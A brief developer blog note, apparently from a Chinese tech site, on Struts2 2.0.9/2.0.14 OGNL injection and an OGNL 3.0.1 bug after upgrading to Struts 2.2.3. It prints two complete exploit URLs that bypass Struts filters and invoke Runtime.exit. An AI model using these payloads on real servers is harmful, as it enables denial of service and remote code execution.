struts2-ognl mark

本文详细探讨了Struts2版本2.0.9和2.0.14中存在的漏洞,包括利用漏洞的方法以及如何通过升级到Struts2.2.3并解决ognl3.0.1产生的小bug来规避这些问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

暂时mark在这,后面再补充

 

1. 关于漏洞的问题

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action

 

2.0.9不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

 

2.0.14失效

仅过滤\u0023不行

 

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('zz')(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(x))(zzxx))&('aaa')((('\43context.excludeProperties\u003dEMPTY_SET')('x'))(zzxx))&(asdf)(('@java.lang.Runtime@getRuntime().exit(1)')('z'))

 

2.ognl3.0.1的问题

 

升级到struts2.2.3之后,ognl3.0.1会产生一个小bug。 基本类型的参数,比如int,long,short,如果在请求参数中没有赋值,会抛出NosuchMethod的异常。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值